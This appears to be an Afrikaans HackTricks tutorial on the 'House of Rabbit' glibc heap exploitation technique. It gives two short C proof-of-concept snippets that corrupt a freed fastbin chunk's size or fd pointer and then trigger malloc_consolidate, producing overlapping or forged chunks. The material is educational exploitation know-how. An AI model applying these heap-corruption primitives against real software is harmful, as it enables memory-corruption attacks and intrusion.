4.5 KiB
Huis van die Haas
{% hint style="success" %}
Leer & oefen AWS-hacking: HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP-hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kontroleer die inskrywingsplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Vereistes
- Vermoeë om vinnige bin fd-aanwyser of grootte te wysig: Dit beteken jy kan die voorwaartse aanwyser van 'n blok in die vinnige bin verander of sy grootte.
- Vermoeë om
malloc_consolidate
te aktiveer: Dit kan gedoen word deur óf 'n groot blok toe te ken óf die boonste blok saam te voeg, wat die hoop dwing om blokke te konsolideer.
Doelwitte
- Skep oorvleuelende blokke: Om een blok met 'n ander te laat oorvleuel, wat verdere hoopmanipulasies moontlik maak.
- Vals blokke vervals: Om die toewysers te mislei om 'n vals blok as 'n regmatige blok tydens hoopoperasies te hanteer.
Stappe van die aanval
POC 1: Wysig die grootte van 'n vinnige bin-blok
Doel: Skep 'n oorvleuelende blok deur die grootte van 'n vinnige bin-blok te manipuleer.
- Stap 1: Ken Blokke Toe
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Stap 2: Vrygemaakte brokke
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Ons maak albei brokke vry, en voeg hulle by die fastbin-lys.
- Stap 3: Wysig Brok Grootte
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Ons verander die grootte metadata van chunk1
na 0xa1. Dit is 'n noodsaaklike stap om die toewysingsprogram tydens konsolidasie te mislei.
- Stap 4: Trigger
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
POC 2: Wysig die fd
wyser
Doel: Skep 'n vals blokkie deur die vinnige bin fd
wyser te manipuleer.
- Stap 1: Allokeer Blokkies
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Verduideliking: Ons ken twee stukke toe, een kleiner en een groter, om die heap op te stel vir die vals stuk.
- Stap 2: Skep vals stuk
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Stap 3: Vry
chunk1
free(chunk1); // Frees the chunk at 0x602000
Verduideliking: Ons vry chunk1
, deur dit by die fastbin-lys te voeg.
- Stap 4: Wysig
fd
vanchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Verduideliking: Ons verander die voorwaartse aanwyser (fd
) van chunk1
om te wys na ons valse stuk binne chunk2
.
- Stap 5: Trigger
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Die toewysing van 'n groot blok veroorsaak weer malloc_consolidate
, wat die valse blok verwerk.
Die valse blok word deel van die fastbin-lys, wat dit 'n legitieme blok maak vir verdere uitbuiting.
Opsomming
Die House of Rabbit tegniek behels óf die wysiging van die grootte van 'n fast bin blok om oorvleulende blokke te skep, óf die manipulasie van die fd
wyser om valse blokke te skep. Dit stel aanvallers in staat om legitieme blokke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Die begrip en oefening van hierdie stappe sal jou heap-uitbuitingsvaardighede verbeter.